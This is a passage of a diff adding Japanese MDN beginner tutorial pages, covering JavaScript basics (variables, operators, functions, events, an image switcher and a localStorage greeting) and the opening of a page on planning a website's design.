href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">このサンプルコードをダウンロードして</a>作業を進めてください。</p> +</div> + +<ol> + <li>最初に、あなたのテストサイトに行って、「<code>scripts</code>」という名前(かぎ括弧は除く)の新しいフォルダを作成してください。それから、作成した scripts フォルダの中で <code>main.js</code> という新しいファイルを作成してください。それを <code>scripts</code> フォルダに保存してください。</li> + <li>次に、 <code>index.html</code> ファイルの <code></body></code> 閉じタグの前に新しい行を追加し、以下の新しい要素を追加してください。 + <pre class="brush: html notranslate"><script src="scripts/main.js"></script></pre> + </li> + <li>これは CSS の {{htmlelement("link")}} 要素の時の作業と基本的に同じです。これは JavaScript をページに適用するので、(CSS の時と同じく、ページ上の何に対しても) HTML に影響を与えることができます。</li> + <li><code>main.js</code> ファイルに次のコードを追加してください。 + <pre class="brush: js notranslate">const myHeading = document.querySelector('h1'); +myHeading.textContent = 'Hello world!';</pre> + </li> + <li>最後に、 HTML と JavaScript を書いたファイルを保存したことを確認し、ブラウザで <code>index.html</code> を読み込んでください。<img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png" style="display: block; height: 236px; margin: 0px auto; width: 806px;"></li> +</ol> + +<div class="note"> +<p><strong>注</strong>: {{htmlelement("script")}} 要素を HTML ファイルの末尾付近に置いたのは、ブラウザが HTML をファイルに現れる順番で読み込むからです。もし JavaScript が最初に読み込まれ、その下の HTML に影響を与えると見られる場合、 HTML の準備ができる前に JavaScript が読み込まれ、正しく動作できない場合があります。したがって、 HTML ページの末尾付近に JavaScript を配置することは多くの場合、最良の方法です。</p> +</div> + +<h3 id="What_happened" name="What_happened">何が起きたか</h3> + +<p>JavaScript を使用して、見出しの文字列が "Hello world!" に変更されました。最初に <code>{{domxref("Document.querySelector", "querySelector()")}}</code> と呼ばれる関数を使用して見出しの参照を取得し、 <code>myHeading</code> と呼ばれる変数に格納しています。これは CSS のセレクターを使用するのととてもよく似ています。要素に対して何かをしたくなったら、まずその要素を選択する必要があります。</p> + +<p>その後、<code>myHeading</code> 変数の <code>{{domxref("Node.textContent", "textContent")}}</code> プロパティ(見出しの内容を表す)の値を "Hello world!" に設定します。</p> + +<div class="note"> +<p><strong>注 </strong>: 上の例で使用した機能はどちらも<a href="/ja/docs/DOM/DOM_Reference">ドキュメントオブジェクトモデル (DOM) API</a> の一部であり、これを使って文書を操作することができます。</p> +</div> + +<h2 id="Language_basics_crash_course" name="Language_basics_crash_course">言語の短期集中コース</h2> + +<p>どのように動作するかをよりよく理解できるように、 JavaScript 言語の基本機能のいくつかを説明しましょう。これらの機能はすべてのプログラミング言語に共通しているので、これらの基本をマスターすれば、ほとんど何でもプログラムできるようになります！</p> + +<div class="warning"> +<p><strong>重要</strong>: この記事では、 JavaScript コンソールにサンプルコードを入力して、何が起こるのかを確認してみます。 JavaScript コンソールの詳細については、 <a href="/ja/Learn/Discover_browser_developer_tools">ブラウザ開発ツールを探る</a>を参照してください。</p> +</div> + +<h3 id="Variables" name="Variables">変数</h3> + +<p>{{Glossary("Variable", "変数")}} は、値を格納できる入れ物です。まず、 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code> (説明はややこしいですが、推奨しません) まはた <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> というキーワードと、その後に任意の名前を指定することで、変数を宣言します。</p> + +<pre class="brush: js notranslate">let myVariable;</pre> + +<div class="note"> +<p><strong>注 </strong>: 行末のセミコロンは文が終わる場所を示します。単一の行で複数の文を区切る場合には絶対に必要です。しかし、個々の文の末尾に置くことが良い習慣だと信じている人もいます。使用する場面と使用しない場合については他のルールもあります。詳しくは <a href="http://news.codecademy.com/your-guide-to-semicolons-in-javascript/">Your Guide to Semicolons in JavaScript</a> を参照してください。</p> +</div> + +<div class="note"> +<p><strong>注 </strong>: 変数にはほとんど何でも名前を付けることができますが、いくらかの制約があります(<a href="/ja/docs/Web/JavaScript/Guide/Grammar_and_Types#Variables">変数の命名規則についてはこの記事</a>を参照してください)。自信がない場合は、有効かどうか<a href="https://mothereff.in/js-variables">変数名を調べる</a>ことができます。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: JavaScript は大文字と小文字を区別します。<code>myVariable</code> は <code>myvariable</code> とは異なる変数です。コードで問題が発生している場合は、大文字・小文字をチェックしてください。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: <code>var</code> と <code>let</code> のより詳しい違いは、<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables#The_difference_between_var_and_let">var と let の違い</a>を見てください。</p> +</div> + +<p>変数を宣言したら、以下のように値を割り当てることができます。</p> + +<pre class="brush: js notranslate">myVariable = 'Bob';</pre> + +<p>好みに応じて、両方の操作を同一の行で行うことができます。</p> + +<pre class="brush: js notranslate">let myVariable = 'Bob';</pre> + +<p>変数の値は、名前で呼び出すだけで取得することができます。</p> + +<pre class="brush: js notranslate">myVariable;</pre> + +<p>変数に値を代入した後で、変更することもできます。</p> + +<pre class="notranslate">let myVariable = 'Bob'; +myVariable = 'Steve';</pre> + +<p>なお、変数は様々な<a href="/ja/docs/Web/JavaScript/Data_structures">データ型</a>の値を保持することもできます。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="row">データ型</th> + <th scope="col">説明</th> + <th scope="col">例</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">{{Glossary("String")}}</th> + <td>文字列と呼ばれる一連のテキスト。値が文字列であることを示すには、引用符で囲む必要があります。</td> + <td><code>let myVariable = 'Bob';</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("Number")}}</th> + <td>数。数字には引用符がありません。</td> + <td><code>let myVariable = 10;</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("Boolean")}}</th> + <td>真偽値。 <code>true</code> と <code>false</code> は JS では特別なキーワードであり、引用符は必要ない。</td> + <td><code>let myVariable = true;</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("Array")}}</th> + <td>単一の参照で複数の値を格納できる構造です。</td> + <td><code>let myVariable = [1,'Bob','Steve',10];</code><br> + 配列の各メンバーはこのように参照してください。<br> + <code>myVariable[0]</code>, <code>myVariable[1]</code>, など。</td> + </tr> + <tr> + <th scope="row">{{Glossary("Object")}}</th> + <td>基本的には何でも格納できます。 JavaScript のすべてがオブジェクトであり、変数に格納することができます。学ぶ際にはこれを覚えておいてください。</td> + <td><code>let myVariable = document.querySelector('h1');</code><br> + 上記の例も同様です。</td> + </tr> + </tbody> +</table> + +<p>ではなぜ変数が必要なのでしょうか。何か面白いプログラミングをするには変数が必要です。値が変更できなければ、挨拶のメッセージをパーソナライズしたり、画像ギャラリーに表示されている画像を変更するなどの動的な操作ができないのです。</p> + +<h3 id="Comments" name="Comments">コメント</h3> + +<p>コメントは、ブラウザーから無視される、コードの間に入れられた短いテキストスニペットです。CSS と同じように、JavaScript のコードではコメントを付けることができます。</p> + +<pre class="brush: js notranslate">/* +挟まれているすべてがコメントです。 +*/</pre> + +<p>コメントに改行が含まれていない場合、次のように 2 つのスラッシュの後ろに記載する方が簡単です :</p> + +<pre class="brush: js notranslate" style="font-size: 14px;">// これはコメントです +</pre> + +<h3 id="Operators" name="Operators">演算子</h3> + +<p>{{Glossary("operator", "演算子")}}は、2 つの値 (または変数) に基づいて結果を生成する数学的な記号です。次の表では、JavaScript コンソールで試してみるいくつかの例とともに、最も単純な演算子をいくつか見ることができます。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="row">演算子</th> + <th scope="col">説明</th> + <th scope="col">シンボル</th> + <th scope="col">例</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">追加/連結</th> + <td>2 つの数字を加えるか、2 つの文字列を結合します。</td> + <td><code>+</code></td> + <td><code>6 + 9;<br> + 'Hello ' + 'world!';</code></td> + </tr> + <tr> + <th scope="row">減算、乗算、除算</th> + <td>基本的な数学の計算を実施します。</td> + <td><code>-</code>, <code>*</code>, <code>/</code></td> + <td><code>9 - 3;<br> + 8 * 2; // JavaScript で乗算はアスタリスク<br> + 9 / 3;</code></td> + </tr> + <tr> + <th scope="row">代入</th> + <td>すでに出てきました。変数に値を割り当てます。</td> + <td><code>=</code></td> + <td><code>let myVariable = 'Bob';</code></td> + </tr> + <tr> + <th scope="row">等価</th> + <td>2 つの値と型が互いに等しいかどうかを調べ、<code>true</code> / <code>false</code> (真偽値)の結果を返します。</td> + <td><code>===</code></td> + <td><code>let myVariable = 3;<br> + myVariable === 4;</code></td> + </tr> + <tr> + <th scope="row">否定、非等価</th> + <td>その後にあるものと論理的に反対の値を返します。たとえば <code>true</code> を <code>false</code> に換えます。等価演算子と一緒に使用されると、否定演算子は 2 つの値が等しく<em>ない</em>かどうかをテストします。</td> + <td><code>!</code>, <code>!==</code></td> + <td> + <p>"Not" の場合、基本式は <code>true</code> ですが、それを否定しているので比較結果は <code>false</code> になります。</p> + + <p><code>let myVariable = 3;<br> + !(myVariable === 3);</code></p> + + <p><span class="tlid-translation translation"><span title="">「等しくない」は、基本的に同じ結果を異なる構文で与えます。</span></span>ここでは「<code>myVariable</code> が 3 とは等しくない」ことをテストします。 <code>myVariable</code> は 3 と等しいので、<code>false</code> を返します。</p> + + <p><code><code>let myVariable = 3;</code><br> + myVariable !== 3;</code></p> + </td> + </tr> + </tbody> +</table> + +<p>他にも演算子はもっとたくさんありますが、今のところはこれで十分です。全体の一覧については、<a href="/ja/docs/Web/JavaScript/Reference/Operators">式と演算子</a>を参照してください。</p> + +<div class="note"> +<p><strong>注</strong>: データ型を混在させると、計算を実行するときに奇妙な結果になる可能性があるため、変数を正しく参照し、期待通りの結果を得るように注意してください。例えばコンソールに <code>'35' + '25'</code> と入力してみてください。期待通りの結果にならないのはなぜでしょうか。引用符は数字を文字列に変換するので、数字を加算するのではなく、文字列を連結する結果になったのです。 <code>35 + 25</code> を入力すれば、正しい結果が得られます。</p> +</div> + +<h3 id="Conditionals" name="Conditionals">条件文</h3> + +<p>条件文は、ある式が true を返すかどうかをテストし、その結果次第でそれぞれのコードを実行するコード構造です。条件文のよくある形は <code>if ... else </code> 文です。例えば以下の通りです。</p> + +<pre class="brush: js notranslate">let iceCream = 'チョコレート'; +if(iceCream === 'チョコレート') { + alert('やった、チョコレートアイス大好き！'); +} else { + alert('あれれ、でもチョコレートは私のお気に入り......'); +}</pre> + +<p><code>if( ... )</code> の中の式が条件です — ここでは等価演算子を使用して、変数 <code>iceCream</code> と<code>チョコレート</code>という文字列とをを比較し、2 つが等しいかどうかを調べています。この比較が <code>true</code> を返した場合、コードの最初のブロックが実行されます。比較が真でない場合、最初のブロックはスキップされ、<code>else</code> 文の後にある 2番目のコードブロックが代わりに実行されます。</p> + +<h3 id="Functions" name="Functions">関数</h3> + +<p>{{Glossary("Function", "関数")}} は、再利用したい機能をパッケージ化する方法です。プロシージャが必要なときは、毎回コード全体を書くのではなく関数名を使って関数を呼び出すことができます。すでにいくつかの関数の仕様を見てきました。例えば以下のようなものです。</p> + +<ol> + <li> + <pre class="brush: js notranslate">let myVariable = document.querySelector('h1');</pre> + </li> + <li> + <pre class="brush: js notranslate">alert('hello!');</pre> + </li> +</ol> + +<p>これらの関数、<code>document.querySelector</code> と <code>alert</code> は、必要なときにいつでも使えるようブラウザに組み込まれています。</p> + +<p>もし変数名に見えるものがあったとしても、その後に括弧 <code>()</code> が付いていれば、おそらくそれは関数です。関数は普通、仕事をするのに必要な小さなデータである{{Glossary("Argument", "引数")}}を取ります。引数は括弧の中に入れ、複数の引数がある場合はカンマで区切ります。</p> + +<p>例えば、<code>alert()</code> 関数はブラウザのウィンドウにポップアップボックスを表示しますが、ポップアップボックスに何を書き込むかを関数に指示するために、文字列を引数として渡す必要があります。</p> + +<p>嬉しいことに、自分で関数を定義することができます。次の例では、引数として 2 つの数値をとり、それらを乗算するという単純な関数を記載します。</p> + +<pre class="brush: js notranslate">function multiply(num1,num2) { + let result = num1 * num2; + return result; +}</pre> + +<p>上記の関数をコンソールで実行し、いくつかの引数を指定してテストしてみてください。例えば次のようなものです :</p> + +<pre class="brush: js notranslate">multiply(4,7); +multiply(20,20); +multiply(0.5,3);</pre> + +<div class="note"> +<p><strong>注 </strong>: <a href="/ja/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> 文は <code>result</code> の値を関数内から関数の外に戻すことをブラウザに指示し、それを利用できるようにします。これが必要な理由は、関数内で定義された変数が、その関数内でしか利用できないためです。これは変数の{{Glossary("Scope", "<code>スコープ</code>")}}と呼ばれています(<a href="/ja/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">変数のスコープのより詳しい説明</a>をお読みください)。</p> +</div> + +<h3 id="Events" name="Events">イベント</h3> + +<p>Web サイトを実際にインタラクティブにするには、イベントが必要です。イベントは、ブラウザの中で起きていることを検出し、その応答としてコードを実行するコード構造です。最も分かりやすい例は <a href="/ja/docs/Web/Events/click">click イベント</a>で、マウスで何かをクリックするとブラウザによって発火されるものです。これを実行するには、コンソールに以下のように入力してから、現在の Web ページ上をクリックしてください。</p> + +<pre class="brush: js notranslate">document.querySelector('html').onclick = function() { + alert('痛っ! つつくのはやめて!'); +}</pre> + +<p>要素にイベントを割り当てる方法はたくさんあります。ここでは {{htmlelement("html")}} 要素を選択し、<code><a href="/ja/docs/Web/API/GlobalEventHandlers.onclick">onclick</a></code> ハンドラのプロパティに、クリックイベントで実行したいコードを含む匿名 (つまり名前がない) 関数を代入します。</p> + +<p>なお、</p> + +<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {};</pre> + +<p>は以下のものと同等です。</p> + +<pre class="brush: js notranslate">let myHTML = document.querySelector('html'); +myHTML.onclick = function() {};</pre> + +<p>短くしただけです。</p> + +<h2 id="Supercharging_our_example_website" name="Supercharging_our_example_website">Web サイトの例を膨らませる</h2> + +<p>ここまで JavaScript の基本を少し見てきましたが、何ができるのかを見るために、例のサイトにいくつかクールな機能を追加してみましょう。</p> + +<h3 id="Adding_an_image_changer" name="Adding_an_image_changer">画像の切り替えの追加</h3> + +<p>このセクションでは、 DOM API 機能をもっと使用して、サイトに画像を追加しましょう。画像をクリックすると JavaScript を使用して 2 つの画像を切り替えることができます。</p> + +<ol> + <li>まずサイトに掲載したいと思う別な画像を見つけてください。最初の画像と同じサイズか、できるだけ近いものを使用してください。</li> + <li>この画像を <code>images</code> フォルダに保存してください。</li> + <li>この画像の名前を 'firefox2.png' (引用符なし) に変更してください。</li> + <li><code>main.js</code> ファイルに移動し、次の JavaScript を入力します。(もし "hello world" の JavaScript がまだ残っている場合は、削除してください。) + <pre class="brush: js notranslate">let myImage = document.querySelector('img'); + +myImage.onclick = function() { + let mySrc = myImage.getAttribute('src'); + if(mySrc === 'images/firefox-icon.png') { + myImage.setAttribute ('src','images/firefox2.png'); + } else { + myImage.setAttribute ('src','images/firefox-icon.png'); + } +}</pre> + </li> + <li><code>index.html</code> をブラウザに読み込みます。画像をクリックすると、もう一方の画像に変わります。</li> +</ol> + +<p>{{htmlelement("img")}} 要素への参照を変数 <code>myImage</code> に格納します。次にこの変数の <code>onclick</code> イベントハンドラプロパティに、名前のない関数(無名関数)を代入します。そうすれば、この要素がクリックされるたびに以下の動きをします。</p> + +<ol> + <li>画像の <code>src</code> 属性の値を取得します。</li> + <li>条件文を使って、<code>src</code> の値が元の画像のパスと等しいかどうかをチェックします。 + <ol> + <li>そうであれば、<code>src</code> の値を 2番目の画像へのパスに変更し、もう一方の画像が強制的に {{htmlelement("img")}} 要素の中に読み込まれるようにします。</li> + <li>そうでない(すでに変更されている)場合、<code>src</code> の値を元の画像のパスに戻して、元の状態に戻ります。</li> + </ol> + </li> +</ol> + +<h3 id="Adding_a_personalized_welcome_message" name="Adding_a_personalized_welcome_message">パーソナライズされた挨拶メッセージの追加</h3> + +<p>次に、もう 1 つの小さなコードを追加し、ユーザがサイトにアクセスしたときに、ページの表題をパーソナライズされた挨拶メッセージに変更してみましょう。この挨拶メッセージは、ユーザがサイトを離れて後で戻った時にも保存されるようにします。<a href="/ja/docs/Web/API/Web_Storage_API">Web Storage API</a> を使用して保存しましょう。したがって、必要な時にいつでもユーザと挨拶メッセージを変更できるオプションも用意しましょう。</p> + +<ol> + <li><code>index.html</code> では、 {{htmlelement("script")}} 要素の直前に次の行を追加します : + + <pre class="brush: html notranslate"><button>ユーザを変更</button></pre> + </li> + <li><code>main.js</code> では、次のコードを下記のとおりにファイルの最後に配置します。これは新しいボタンと見出しへの参照を変数に格納します。 + <pre class="brush: js notranslate">let myButton = document.querySelector('button'); +let myHeading = document.querySelector('h1');</pre> + </li> + <li>パーソナライズされた挨拶を設定する以下の関数を追加しましょう。まだ何も起こりませんが、すぐに修正します。 + <pre class="brush: js notranslate">function setUserName() { + let myName = prompt('あなたの名前を入力してください。'); + localStorage.setItem('name', myName); + myHeading.textContent = 'Mozilla はすばらしいよ、' + myName; +}</pre> + この関数では <a href="/ja/docs/Web/API/Window.prompt"><code>prompt()</code></a> 関数を使用して、<code>alert()</code> のようにダイアログボックスを表示しています。しかし、<code>prompt()</code> はユーザにデータを入力するよう求め、ユーザが <strong>OK</strong> を押した後に変数にそのデータを格納します。この場合、ユーザに名前を入力するよう求めます。次に、<code>localStorage</code> と呼ばれる API を呼び出すことで、ブラウザにデータを格納して後で受け取ることができます。localStorage の <code>setItem()</code> 関数を使って、<code>'name'</code> と呼ばれるデータを作成し、<code>myName</code> に入っているユーザから入力されたデータを格納します。最後に、見出しの <code>textContent</code> に文字列と新しく格納されたユーザの名前を設定します。</li> + <li>次に、この <code>if ... else</code> ブロックを追加します。これは初期化コードと呼ぶことができ、最初の読み込みでアプリを構成します。 + <pre class="brush: js notranslate">if(!localStorage.getItem('name')) { + setUserName(); +} else { + let storedName = localStorage.getItem('name'); + myHeading.textContent = 'Mozilla はすばらしいよ、' + storedName; +}</pre> + このブロックでは、最初に <code>name</code> のデータが存在しているかどうかをチェックするために否定演算子(! で表される論理否定)を使用しています。存在しない場合は、作成するために <code>setUserName()</code> 関数が実行されます。存在する場合は(つまり、以前の訪問時にユーザが設定した場合)、 <code>getItem()</code> を使用して格納された名前を受け取り、 <code>setUserName()</code> の中で行ったのと同様に、見出しの <code>textContent</code> に文字列とユーザの名前を設定します。</li> + <li>最後に、以下の <code>onclick</code> イベントハンドラをボタンに設定します。クリックすると、<code>setUserName()</code> 関数が実行されます。これでユーザがボタンを押すことで、好きな時に新しい名前を設定できるようになります。 + <pre class="brush: js notranslate">myButton.onclick = function() { + setUserName(); +} +</pre> + </li> +</ol> + +<p>サイトにアクセスしてみると、ページがユーザ名を尋ね、パーソナライズされたメッセージを表示します。好きなときにボタンを押すと名前を変えることができます。おまけに、名前は <code>localStorage</code> 内に格納されているため、サイトを閉じた後も名前が保持され、次にサイトを開いたときにパーソナライズされたメッセージが保持されます。</p> + +<h3 id="A_user_name_of_null">A user name of null?</h3> + +<p>この例を実行してユーザー名を入力するダイアログボックスが出たとき、<em>キャンセル</em>ボタンを押してみてください。結果として"Mozilla is cool, null"というタイトルが表示されるでしょう。これはプロンプトをキャンセルしたときに、値が <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code>、つまり値がないことに言及する JavaScript の特殊な値にセットされているためです。</p> + +<p>また何も入れずに OK を押してみてください — 結果として"Mozilla is cool,"というタイトルが表示され、これは理由が明白です。</p> + +<p>この問題を避けるには、ユーザーが <code>null</code> や空白の名前を入力していないかチェックするよう、<code>setUserName()</code> 関数を書き換えます:</p> + +<pre class="brush: js notranslate">function setUserName() { + let myName = prompt('Please enter your name.'); + if(!myName || myName === null) { + setUserName(); + } else { + localStorage.setItem('name', myName); + myHeading.innerHTML = 'Mozilla is cool, ' + myName; + } +}</pre> + +<p>人間の言語では — <code>myName</code> に値がない場合や、<code>null</code>の場合、 最初から <code>setUserName()</code> を実行します。値がない場合 (上記の式が真でない場合)には、<code>localStorage</code> に値をセットして、見出しのテキストにもセットします。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>最後までこの記事の手順に従った場合は、最終的に次のようなページが表示されているでしょう (<a href="https://mdn.github.io/beginner-html-site-scripted/">こちらで作成した版を表示する</a>こともできます)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9539/website-screen-scripted.png" style="display: block; height: 995px; margin: 0px auto; width: 800px;"></p> + +<p>行き詰まったら、自分の作業を <a href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">Github 上の完成したサンプルコード</a>と比べてみてください。</p> + +<p>私たちは JavaScript に少し触れただけです。楽しく遊んだり、もっと上達したい場合は、<a href="/ja/docs/Learn/JavaScript">JavaScript の学習トピック</a>に進んでください。</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどんな外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">Web サイトの公開</a></li> + <li id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> +</ul> diff --git a/files/ja/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/ja/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html new file mode 100644 index 0000000000..88eb4cf626 --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html @@ -0,0 +1,110 @@ +--- +title: Web サイトをどんな外見にするか +slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like +tags: + - Assets + - Composing + - Deprecated + - Plan + - 'l10n:priority' + - コンテンツ + - デザイン + - フォント + - 初心者 + - 学習 +translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>「<em>Web サイトをどのような外見にするか</em>」では、「どんな情報を Web サイトで提供するか」、「どのフォントと色を使うのか」、「私の Web サイトは何をするのか」といった、コードを書き始める<em>前に</em>あなたの Web サイトについて計画したりデザインするべき事柄について説明します。</p> +</div> + +<h2 id="First_things_first_planning" name="First_things_first_planning">まず最初に: 計画を立てる</h2> + +<p>始める前に、いくつか考えておかなければいけないことがあります。あなたの Web サイトは実際に何をすべきでしょうか？普通 Web サイトは様々なことができます。しかし、はじめは単純なことにとどめておくべきでしょう。まずは、一つの見出し、一つの画像、そして少しの文章をもつシンプルな Web ページを作ることから始めましょう。</p> + +<p>まずはじめに、次の質問に答える必要があります。</p> + +<ol> + <li><strong>何について書かれた Web サイトですか？</strong> 犬、ニューヨーク、それともパックマン？</li> + <li><strong>テーマについてどんなことを書きますか？</strong> タイトルと少しの文章、それからページに表示させたい画像を考えます。</li> + <li><strong>Web サイトをどんな見た目にしますか？</strong> シンプルで高いレベルから考えます。背景の色は何色にする？サイトにピッタリのフォントの種類はどんなもの？フォーマルなフォント？漫画みたいなフォント？くっきりとした太字？それとも、繊細な細字のフォントでしょうか？</li> +</ol> + +<div class="note"> +<p><strong>注記</strong>: 複雑なプロジェクトでは、カラー、フォント、ページのアイテム間のスペース、適切な文章のスタイルなど、詳細なガイドラインが必要です。これは、デザインガイドやデザインシステムやブランドブックと呼ばれます。一例として、 <a href="https://design.firefox.com/photon/">Firefox Photon Design System</a>があります。</p> +</div> + +<h2 id="Sketching_out_your_design" name="Sketching_out_your_design">デザインを大まかに描き出す</h2> + +<p>次に、ペンと紙を取って、あなたのサイトの見た目をどういう風にしたいのか、大まかに描き出します。はじめてのシンプルな Web ページでは、描き出すものもあまりないですが、Web サイトを作るうえでの習慣として身につけるべきです。ヴァン・ゴッホのようになる必要はありませんので！</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p> + +<div class="note"> +<p><strong>注記</strong>: 現実の複雑な Web サイトの場合でも、デザインチームは普通、ラフスケッチを描くことから始めます。その後、グラフィックエディタや Web の技術を使って、デジタルのモックアップを作るのです。</p> + +<p>多くの場合、Web の開発チームには、グラフィックデザイナーと{{Glossary("UX", "ユーザーエクスペリエンス")}} (UX) デザイナーがいます。グラフィックデザイナーは、名前の通り Web サイト上の目に見えるイメージなどを作り上げます。 UX デザイナーは、もう少し抽象的な役割を持っていて、サイトを訪れるユーザーが Web サイトでどういう経験をし、どのようにインタラクションするかということを考えます。</p> +</div> + +<h2 id="Choosing_your_assets" name="Choosing_your_assets">アセットを選ぶ</h2> + +<p>この時点で、あなたの Web ページについて、将来どう表現したいかをまとめ始めるとよいでしょう。</p> + +<h3 id="Text" name="Text">文章・テキスト</h3> + +<p>あなたが先ほど考えたちょっとした文章やタイトルは、まだそのまま残しておきます。手近なところに置いておきましょう。</p> + +<h3 id="Theme_color" name="Theme_color">テーマカラー</h3> + +<p>色を選ぶときは、<a href="/ja/docs/Web/CSS/CSS_Colors/Color_picker_tool">色選択ツール</a> (カラーピッカー: Firefox のアドオンやアプリもあります) のサイトへ行き、自分の好みの色を見つけましょう。色をクリックすると、 <code>#660066</code> のような6文字の奇妙なコードが出てきます。これは<em>ヘキサコード</em> (16進法コード) と呼ばれ、あなたの選んだ色を表しています。今はどこか安全なところにコピーしておきましょう。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/8975/Screenshot%20from%202014-11-03%2017:40:49.png" style="border-style: solid; border-width: 1px; height: 262px; width: 448px;"></p> + +<h3 id="Images" name="Images">画像・イメージ</h3> + +<p>画像を探すには、<a href="https://www.google.com/imghp?gws_rd=ssl">Google 画像検索</a>にアクセスし、ぴったりなものを探しましょう。</p> + +<ol> + <li>欲しい画像が見つかったら、クリックして拡大表示にします。</li> + <li>画像を右クリック (Mac では Ctrl +クリック) し、[名前を付けて画像を保存...] を選択して、画像を安全に保存する場所を選択します。または、後で使用するためにブラウザーのアドレスバーから画像の Web アドレスをコピーします。</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16599/updated-google-images.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>なお、Web 上のほとんどの画像には、 Google 画像検索にあるものも含め、著作権があります。あなたが著作権を侵害してしまう可能性を減らすために、 Google のライセンスフィルターを使うと良いでしょう。 <em>ツール</em>ボタンをクリックすると、<em>ライセンス</em>オプションが下に表示されます。<em>再使用が許可された画像</em>などの選択肢を選択してください。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16598/updated-google-images-licensing.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<h3 id="Font" name="Font">フォント</h3> + +<p>次のような手順でフォントを選びます。</p> + +<ol> + <li><a href="http://www.google.com/fonts">Google Fonts</a> に行き、ページをスクロールして気に入ったフォントを見つけます。右側のコントロールを使って、結果をフィルタすることもできます。</li> + <li>使いたいフォントの上にある<strong>プラス</strong> (追加) アイコンをクリックします。</li> + <li>ページ下部のパネルにある "* Family Selected"<em> </em>と書かれたボタンをクリックします ("*" は選択したフォントの数によって変わります)。</li> + <li>ポップアップボックスに、Google が用意してくれた数行のコードが表示されるので、あとでテキストエディタに入力する時のためにコピーしておきます。</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13871/font1.png" style="border-style: solid; border-width: 1px; height: 359px; width: 600px;"></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13873/font2.png" style="border-style: solid; border-width: 1px; height: 608px; width: 600px;"></p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどのような外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/Publishing_your_website">Web サイトの公開</a></li> + <li 